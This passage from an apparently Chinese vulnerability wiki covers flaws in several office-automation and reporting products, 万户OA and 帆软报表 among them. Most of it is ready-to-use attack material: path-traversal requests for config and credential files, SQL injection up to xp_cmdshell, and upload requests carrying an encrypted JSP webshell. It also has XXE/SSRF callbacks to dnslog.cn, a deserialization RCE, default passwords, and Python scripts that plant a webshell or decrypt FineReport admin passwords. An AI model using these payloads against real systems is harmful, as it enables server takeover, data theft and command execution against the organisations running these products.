noticefilepath = cfg.get(prop);
}
String filePath = Global.getRealPath() + "/" + noticefilepath + "/" + filename;
if ("li".equals(prop)) {
filePath = Global.getRealPath() + "WEB-INF/" + prop + filename;
}
response.setContentType("application/" + extname);
response.setHeader("Content-disposition", "attachment; filename=" + filename);
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
bis = new BufferedInputStream(new FileInputStream(filePath));
bos = new BufferedOutputStream(response.getOutputStream());
byte[] buff = new byte[2048];
int bytesRead;
while (-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
bos.write(buff, 0, bytesRead);
}
} catch (final IOException e) {
System.out.println("出现IOException." + e);
} finally {
if (bis != null)
bis.close();
if (bos != null)
bos.close();
}
out.clear();
out = pageContext.pushBody();
%>首先验证 user 传参是否为空, 需要对 user 参数任意赋值
if ("".equals(user)) {
if (!privilege.isUserPrivValid(request, "read")) {
System.out.println("警告非法用户,你无访问此页的权限!");
return;
}
}接着接受3个参数 filename, extname, prop
String filename = ParamUtil.get(request, "filename");
String extname = request.getParameter("extname");
String prop = request.getParameter("prop");接着判断 prop 是否为 activex, 不等于则会去调用系统默认配置的路径 所以filename和extname这两个参数我们可以控制。构造请求前台任意文件读取
String filePath = Global.getRealPath() + "/" + noticefilepath + "/" + filename;
if ("li".equals(prop)) {
filePath = Global.getRealPath() + "WEB-INF/" + prop + filename;
}验证POC
/public/getfile.jsp?user=1&prop=activex&filename=../public/getfile&extname=jspFile: OA产品漏洞/万户OA DocumentEdit.jsp SQL注入漏洞.md
万户OA DocumentEdit.jsp SQL注入漏洞
漏洞描述
万户OA DocumentEdit.jsp文件存在SQL注入漏洞,攻击者通过发送特殊的请求包可以对数据库进行SQL注入,获取服务器敏感信息
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
验证POC
/defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1';WAITFOR%20DELAY%20'0:0:5'--File: OA产品漏洞/万户OA download_ftp.jsp 任意文件下载漏洞.md
万户OA download_ftp.jsp 任意文件下载漏洞
漏洞描述
万户OA download_ftp.jsp文件存在任意文件下载漏洞,攻击者通过漏洞可以下载服务器上的任意文件
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
验证POC
/defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xmlFile: OA产品漏洞/万户OA download_old.jsp 任意文件下载漏洞.md
万户OA download_old.jsp 任意文件下载漏洞
漏洞描述
万户OA download_old.jsp文件存在任意文件下载漏洞,攻击者通过漏洞可以下载服务器上的任意文件
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
验证POC
/defaultroot/download_old.jsp?path=..&name=x&FileName=index.jsp
/defaultroot/download_old.jsp?path=..&name=x&FileName=WEB-INF/web.xmlFile: OA产品漏洞/万户OA downloadhttp.jsp 任意文件下载漏洞.md
万户OA downloadhttp.jsp 任意文件下载漏洞
漏洞描述
万户OA downloadhttp.jsp文件存在任意文件下载漏洞,攻击者通过漏洞可以下载服务器上的任意文件
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
验证POC
/defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jspFile: OA产品漏洞/万户OA DownloadServlet 任意文件读取漏洞.md
万户OA DownloadServlet 任意文件读取漏洞
漏洞描述
万户OA DownloadServlet接口存在任意文件读取漏洞,攻击者通过漏洞可以读取服务器中的敏感文件,获取敏感信息
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
验证POC
/defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2File: OA产品漏洞/万户OA fileUpload.controller 任意文件上传漏洞.md
万户OA fileUpload.controller 任意文件上传漏洞
漏洞描述
万户OA fileUpload.controller 存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
发送请求包上传文件
POST /defaultroot/upload/fileUpload.controller HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
Content-Length: 773
--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
Content-Disposition: form-data; name="file"; filename="cmd.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*......tas9er*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0--使用冰蝎连接木马 /defaultroot/upload/html/xxxxxxxxxx.jsp
File: OA产品漏洞/万户OA OfficeServer.jsp 任意文件上传漏洞.md
万户OA OfficeServer.jsp 任意文件上传漏洞
漏洞描述
万户OA 除了 /defaultroot/officeserverservlet 接口外的另一处接口 OfficeServer.jsp 同时也存在任意文件上传漏洞,导致攻击者可上传任意文件获取服务器权限
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
发送请求包
POST /defaultroot/public/iWebOfficeSign/OfficeServer.jsp HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: OASESSIONID=847AE3A2E5D155AE7FB1CD2C6736CD66
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
Content-Length: 798
DBSTEP V3.0 170 0 1000 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
RECORDID=
isDoc=dHJ1ZQ==
moduleType=Z292ZG9jdW1lbnQ=
FILETYPE=Li4vLi4vcHVibGljL2VkaXQvY21kX3Rlc3QuanNw
111111111111111111111111111111111111111111111111
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>上传后的目录为
/defaultroot/public/edit/cmd_test.jspFile: OA产品漏洞/万户OA showResult.action 后台SQL注入漏洞.md
万户OA showResult.action 后台SQL注入漏洞
漏洞描述
万户OA showResult.action 存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
默认账号密码:admin/111111
发送请求包:
POST /defaultroot/Graph!showResult.action HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Connection: close
Cookie: OASESSIONID=5AC1D44965A277C90D94B57DEDA82992; LocLan=zh_CN; JSESSIONID=5AC1D44965A277C90D94B57DEDA82992; OASESSIONID=5AC1D44965A277C90D94B57DEDA82992; ezofficeDomainAccount=whir; empLivingPhoto=; ezofficeUserName=dsfssaq; ezofficeUserPortal=; ezofficePortal135=1
Upgrade-Insecure-Requests: 1
database=localDataSource&dataSQL=exec+master..xp_cmdshell+"ipconfig";File: OA产品漏洞/万户OA smartUpload.jsp 任意文件上传漏洞.md
万户OA smartUpload.jsp 任意文件上传漏洞
漏洞描述
万户OA smartUpload.jsp文件存在文件上传接口,且没有对文件类型进行过滤,导致任意文件上传漏洞
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
文件上传接口
/defaultroot/extension/smartUpload.jsp?path=information&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&可直接上传恶意jsp文件
POST /defaultroot/extension/smartUpload.jsp?path=information&mode=add&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&fileMaxNum=0&fileType=gif,jpg,bmp,jsp,png&fileMinWidth=0&fileMinHeight=0&fileMaxWidth=0&fileMaxHeight=0 HTTP/1.1
Host:
Content-Length: 938
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynNQ8hoU56tfSwBVU
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: JSESSIONID=PjXnh6bLTzy0ygQf41vWctGPLGkSvkJ6J1yS3ppzJmCvVFQZgm1r!1156443419
Connection: close
------WebKitFormBoundarynNQ8hoU56tfSwBVU
Content-Disposition: form-data; name="photo"; filename="shell.jsp"
Content-Type: application/octet-stream
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------WebKitFormBoundarynNQ8hoU56tfSwBVU
Content-Disposition: form-data; name="continueUpload"
1
------WebKitFormBoundarynNQ8hoU56tfSwBVU
Content-Disposition: form-data; name="submit"
上传继续
------WebKitFormBoundarynNQ8hoU56tfSwBVU--通过抓包可查看上传的文件名,上传的目录为 /defaultroot/upload/information/
File: OA产品漏洞/万户OA TeleConferenceService XXE注入漏洞.md
万户OA TeleConferenceService XXE注入漏洞
漏洞描述
万户OA TeleConferenceService接口存在XXE注入漏洞,攻击者通过漏洞可以继续XXE注入获取服务器敏感信息
漏洞影响
万户OA网络测绘
app="万户网络-ezOFFICE"漏洞复现
产品页面
验证POC
POST /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../TeleConferenceService
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://fep6kf.dnslog.cn" >]>
<value>&xxe;</value>File: OA产品漏洞/信呼OA beifenAction.php 后台目录遍历漏洞.md
信呼OA beifenAction.php 后台目录遍历漏洞
漏洞描述
信呼OA beifenAction.php文件中调用了 getfilerows方法,导致了目录遍历漏洞,攻击者通过漏洞可以获取服务器上的文件信息
漏洞影响
信呼OA <= 2.3.2网络测绘
app="信呼协同办公系统"漏洞复现
登录页面
其中默认存在几个用户存在弱口令 123456
存在漏洞的文件为 webmain/system/beifen/beifenAction.php
查看 getfilerows() 方法,在 include/chajian/fileChajian.php
该方法遍历目录下的文件名并输出,登录后,发送请求包
POST /index.php?a=getdatssss&m=beifen&d=system&ajaxbool=true
folder=../../File: OA产品漏洞/信呼OA qcloudCosAction.php 任意文件上传漏洞.md
信呼OA qcloudCosAction.php 任意文件上传漏洞
漏洞描述
信呼 OA <=v2.3.2 版本在webmain\task\runt\qcloudCosAction.php云存储下调用了qcloudCosClassAction方法,导致文件上传漏洞。通过该漏洞,攻击者可突破上传限制,上传 php 文件获取服务器shell。
利用前提是已经获取了用户名/登陆口令。
参考链接:
漏洞影响
信呼OA <= 2.3.2网络测绘
app="信呼协同办公系统"漏洞复现
登陆页面:
登陆系统,找到上传点:
任务资源 → 文件传送 → 相关文件上传1.php,记录filepath和id:
POST /index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=769871 HTTP/1.1
Host: www.xinhu2.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:multipart/form-data; boundary=
---------------------------40605609116060410203660967062
Content-Length: 250
Origin: http://www.xinhu2.com
Connection: close
Referer:http://www.xinhu2.com/index.php?m=upload&d=public&callback=&upkey=20220513091317429617&showid=fileidview
Cookie:deviceid=1650359786139;xinhu_mo_adminid=ye0xhh0xte0lp0yy0xtj0xtb0xtv0yy0xxt0jt0xtb0ye0yx0yp0le03;xinhu_ca_adminuser=admin;xinhu_ca_rempass=0;PHPSESSID=hp2qfqngssh75ij0r8j8kg6f47
-----------------------------40605609116060410203660967062
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------40605609116060410203660967062--查看1.php是否上传成功:
GET /task.php?m=qcloudCos|runt&a=run&fileid=9 HTTP/1.1
Host: www.xinhu2.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: deviceid=1650359786139; xinhu_mo_adminid=ye0xhh0xte0lp0yy0xtj0xtb0xtv0yy0xxt0jt0xtb0ye0yx0yp0le03; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=hp2qfqngssh75ij0r8j8kg6f47
Upgrade-Insecure-Requests: 1上传后路径:
http://<IP>/upload/2024-01/23_16071247.php漏洞POC
poc.py
# 1.php为webshell
# 需要修改以下内容:
# url_pre = 'http://<IP>/'
# 'adminuser': '<ADMINUSER_BASE64>',
# 'adminpass': '<ADMINPASS_BASE64>',
import requests
session = requests.session()
url_pre = 'http://<IP>/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
# url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=<ID>'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': '<ADMINUSER_BASE64>',
'adminpass': '<ADMINPASS_BASE64>',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
print(filepath)
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)File: OA产品漏洞/华天动力OA 8000版 workFlowService SQL注入漏洞.md
华天动力OA 8000版 workFlowService SQL注入漏洞
漏洞描述
华天动力OA 8000版 workFlowService接口存在SQL注入漏洞,攻击者通过漏洞可获取数据库敏感信息
漏洞影响
华天动力OA 8000版网络测绘
app="华天动力-OA8000"漏洞复现
产品页面
发送请求包验证漏洞
POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
Host: 、
Accept-Encoding: identity
Content-Length: 103
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Referer: http://www.baidu.com
Cache-Control: max-age=0
<buffalo-call>
<method>getDataListForTree</method>
<string>select user()</string>
</buffalo-call>File: OA产品漏洞/启莱OA CloseMsg.aspx SQL注入漏洞.md
启莱OA CloseMsg.aspx SQL注入漏洞
漏洞描述
启莱OA CloseMsg.aspx文件存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
启莱OA网络测绘
app="启莱OA"漏洞复现
登录页面如下
存在SQL注入的文件为 CloseMsg.aspx
http://xxx.xxx.xxx.xxx/client/CloseMsg.aspx?user=' and (select db_name())>0--&pwd=1使用SQLmap对参数 user 进行注入
File: OA产品漏洞/启莱OA messageurl.aspx SQL注入漏洞.md
启莱OA messageurl.aspx SQL注入漏洞
漏洞描述
启莱OA messageurl.aspx文件存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
启莱OA网络测绘
app="启莱OA"漏洞复现
登录页面如下
存在SQL注入的文件为 messageurl.aspx
http://xxx.xxx.xxx.xxx/client/messageurl.aspx?user=' and (select db_name())>0--&pwd=1使用SQLmap对参数 user 进行注入
File: OA产品漏洞/启莱OA treelist.aspx SQL注入漏洞.md
启莱OA treelist.aspx SQL注入漏洞
漏洞描述
启莱OA treelist.aspx文件存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
启莱OA网络测绘
app="启莱OA"漏洞复现
登录页面如下
存在SQL注入的文件为 treelist.aspx
http://xxx.xxx.xxx.xxx/client/treelist.aspx?user=' and (select db_name())>0--&pwd=1使用SQLmap对参数 user 进行注入
File: OA产品漏洞/帆软报表 2012 SSRF漏洞.md
帆软报表 2012 SSRF漏洞
漏洞描述
帆软报表 2012 存在信息泄露漏洞,通过访问特定的Url获取造成SSRF
漏洞影响
帆软报表 2012网络测绘
body="down.download?FM_SYS_ID"漏洞复现
漏洞验证Url为
/ReportServer?op=resource&resource=0m0m6k.dnslog.cnFile: OA产品漏洞/帆软报表 2012 信息泄露漏洞.md
帆软报表 2012 信息泄露漏洞
漏洞描述
帆软报表 2012 存在信息泄露漏洞,通过访问特定的Url获取部分敏感信息
漏洞影响
帆软报表 2012网络测绘
body="down.download?FM_SYS_ID"漏洞复现
获取登录报表系统的IP
http://xxx.xxx.xxx.xxx/ReportServer?op=fr_server&cmd=sc_visitstatehtml&showtoolbar=false数据库信息泄露
http://xxx.xxx.xxx.xxx/ReportServer?op=fr_server&cmd=sc_getconnectioninfo后台默认口令 admin/123456
/ReportServer?op=fr_auth&cmd=ah_login&_=new%20Date().getTime()File: OA产品漏洞/帆软报表 channel 远程命令执行漏洞.md
帆软报表 channel 远程命令执行漏洞
漏洞描述
帆软报表 channel 接口存在远程命令执行漏洞, 攻击者通过漏洞可以获取服务器权限,攻击服务器
漏洞影响
帆软报表
网络测绘
"Powered by 帆软"漏洞复现
登陆页面
验证POC
java -jar ysoserial-1.5-su18-all.jar -g CommonsBeanutils1183NOCC -p 'EX-TomcatEcho' -ch "cmd" > fine10.bin
POST /webroot/decision/remote/design/channel HTTP/1.1
Content-Type: application/json
Host:
cmd: id
Connection: close
{{gzip(file(fine10.bin))}}File: OA产品漏洞/帆软报表 V8 任意文件读取漏洞 CNVD-2018-04757.md
帆软报表 V8 任意文件读取漏洞 CNVD-2018-04757
漏洞描述
FineReport报表软件是一款纯Java编写的,集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。
FineReport v8.0版本存在任意文件读取漏洞,攻击者可利用漏洞读取网站任意文件。
漏洞影响
FineReport < v8.0网络测绘
body="isSupportForgetPwd"漏洞复现
出现漏洞的文件为 fr-applet-8.0.jar
package com.fr.chart.web;
import com.fr.base.FRContext;
import com.fr.general.IOUtils;
import com.fr.stable.CodeUtils;
import com.fr.web.core.ActionNoSessionCMD;
import com.fr.web.utils.WebUtils;
import java.io.InputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ChartGetFileContentAction extends ActionNoSessionCMD {
public ChartGetFileContentAction() {
}
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
String var4 = CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1, "resourcepath"));
if (!WebUtils.invalidResourcePath(var4)) {
InputStream var5 = FRContext.getCurrentEnv().readResource(var4);
String var6 = IOUtils.inputStream2String(var5);
var6 = var6.replace('\ufeff', ' ');
WebUtils.printAsString(var2, var6);
}
}
public String getCMD() {
return "get_geo_json";
}
}使用request将文件名传入 调用cjkDecode函数解密文件名
使用invalidResourcePath函数校验文件是否存在
最后使用readResource函数读取文件传输到浏览器上 默认目录为resources
其中的privilege.xml里面存储了后台的用户名密码
<?xml version="1.0" encoding="UTF-8"?>
<PrivilegeManager xmlVersion="20170715" releaseVersion="8.0.0" fsSystemManagerPassSet="true" birthday="0" male="false">
<rootManagerName>
<![CDATA[admin]]></rootManagerName>
<rootManagerPassword>
<![CDATA[___00520017004e002b004100b7004200250023007f003d003d005400e4001c0057]]></rootManagerPassword>
<AP class="com.fr.privilege.providers.NoAuthenticationProvider"/>
<ForwardUrl>
<![CDATA[${servletURL}?op=fr_platform]]></ForwardUrl>
<PVFILTER class="com.fr.fs.privilege.auth.BasePrivilegeFilter"/>
</PrivilegeManager>- 加密函数
public static String passwordEncode(String var0) {
StringBuilder var1 = new StringBuilder();
var1.append("___");
if (var0 == null) {
return var1.toString();
} else {
int var2 = 0;
for(int var3 = 0; var3 < var0.length(); ++var3) {
if (var2 == PASSWORD_MASK_ARRAY.length) {
var2 = 0;
}
int var4 = var0.charAt(var3) ^ PASSWORD_MASK_ARRAY[var2];
String var5 = Integer.toHexString(var4);
int var6 = var5.length();
for(int var7 = 0; var7 < 4 - var6; ++var7) {
var5 = "0" + var5;
}
var1.append(var5);
++var2;
}
return var1.toString();
}
}- 解密函数
public static String passwordDecode(String var0) {
if (var0 != null && var0.startsWith("___")) {
var0 = var0.substring(3);
StringBuilder var1 = new StringBuilder();
int var2 = 0;
for(int var3 = 0; var3 <= var0.length() - 4; var3 += 4) {
if (var2 == PASSWORD_MASK_ARRAY.length) {
var2 = 0;
}
String var4 = var0.substring(var3, var3 + 4);
int var5 = Integer.parseInt(var4, 16) ^ PASSWORD_MASK_ARRAY[var2];
var1.append((char)var5);
++var2;
}
var0 = var1.toString();
}
return var0;
}使用python写出的解密代码为
cipher = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
Password = ""
cipher = cipher[3:] #截断三位后
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print (Password)这里使用上面讲述的原理进行复现,访问目标
路径分为两种
/WebReport/ReportServer
ReportServer
访问POC为,读取密码文件 privilege.xml
/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml使用解密脚本解密文件
得到密码,即可登陆后台系统,账户为 admin
漏洞POC
import requests
import sys
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 帆软报表 v8.0 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def decode_passwd(cipher):
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] # 掩码
Password = ""
cipher = cipher[3:] # 截断三位后
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
return Password
def POC_1(target_url):
vuln_url_1 = target_url + '/WebReport/ReportServer'
vuln_url_2 = target_url + '/ReportServer'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response_1 = requests.get(url=vuln_url_1, timeout=5, verify=False, headers=headers)
response_2 = requests.get(url=vuln_url_2, timeout=5, verify=False, headers=headers)
if "部署页面" in response_1.text:
print("\033[32m[o] 目标部署页面为: {} \033[0m".format(vuln_url_1))
POC_2(vuln_url_1)
elif "部署页面" in response_2.text:
print("\033[32m[o] 目标部署页面为: {} \033[0m".format(vuln_url_2))
POC_2(vuln_url_2)
else:
print("\033[31m[x] 目标漏洞无法利用 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 目标漏洞无法利用 {} \033[0m".format(e))
sys.exit(0)
def POC_2(vuln_url_fileread):
vuln_url = vuln_url_fileread + "?op=chart&cmd=get_geo_json&resourcepath=privilege.xml"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, verify=False, timeout=5)
print("\033[32m[o] 正在访问: {} \033[0m".format(vuln_url))
if "rootManagerPassword" in response.text and response.status_code == 200:
print("\033[32m[o] 目标存在漏洞,读取敏感文件 \n{} \033[0m".format(response.text))
user_name = re.findall(r'<!\[CDATA\[(.*?)]]></rootManagerName>', response.text)
cipher = re.findall(r'<!\[CDATA\[(.*?)]]></rootManagerPassword>', response.text)
password = decode_passwd(cipher[0])
print("\033[34m[o] 后台账户密码为:{} {} \033[0m".format(user_name[0], password))
else:
print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
except Exception as e:
print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)File: OA产品漏洞/帆软报表 V9 任意文件覆盖文件上传.md
帆软报表 V9 任意文件覆盖文件上传
漏洞描述
帆软 V9 存在任意文件覆盖,导致攻击者可以任意文件上传
漏洞影响
帆软 V9漏洞复现
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1
Host: 192.168.10.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=DE7874FC92F0852C84D38935247D947F; JSESSIONID=A240C26B17628D871BB74B7601482FDE
Connection: close
Content-Type:text/xml;charset=UTF-8
Content-Length: 74
{"__CONTENT__":"<%out.println(\"Hello World!\");%>","__CHARSET__":"UTF-8"}File: OA产品漏洞/新点OA ExcelExport 敏感信息泄露漏洞.md
新点OA ExcelExport 敏感信息泄露漏洞
漏洞描述
新点OA 存在敏感信息泄露漏洞,访问特定的Url时可以获取所有用户的登录名信息,攻击者获取后可以进一步利用
漏洞影响
新点OA网络测绘
app="新点OA"漏洞复现
构造的Url为
/ExcelExport/人员列表.xls将会下载人员列表文件
通过获取的登录名登陆后台(默认密码11111)
File: OA产品漏洞/智明 SmartOA EmailDownload.ashx 任意文件下载漏洞.md
智明 SmartOA EmailDownload.ashx 任意文件下载漏洞
漏洞描述
智明 SmartOA EmailDownload.ashx文件存在任意文件下载漏洞,通过漏洞可下载服务器上的敏感文件,查看敏感信息
漏洞影响
智明 SmartOA网络测绘
app="智明协同-SmartOA"漏洞复现
登录页面
验证POC
/file/EmailDownload.ashx?url=~/web.config&name=web.configFile: OA产品漏洞/极限OA video_file.php 任意文件读取漏洞.md
极限OA video_file.php 任意文件读取漏洞
漏洞描述
极限OA video_file.php存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器敏感文件
漏洞影响
极限OA网络测绘
icon_hash="1967132225"漏洞复现
登录页面
验证POC
/general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.phpFile: OA产品漏洞/泛微OA DBconfigReader.jsp 数据库配置信息泄漏漏洞.md
[Binary file]
File: OA产品漏洞/泛微OA E-Bridge saveYZJFile 任意文件读取漏洞.md
泛微OA E-Bridge saveYZJFile 任意文件读取漏洞
漏洞描述
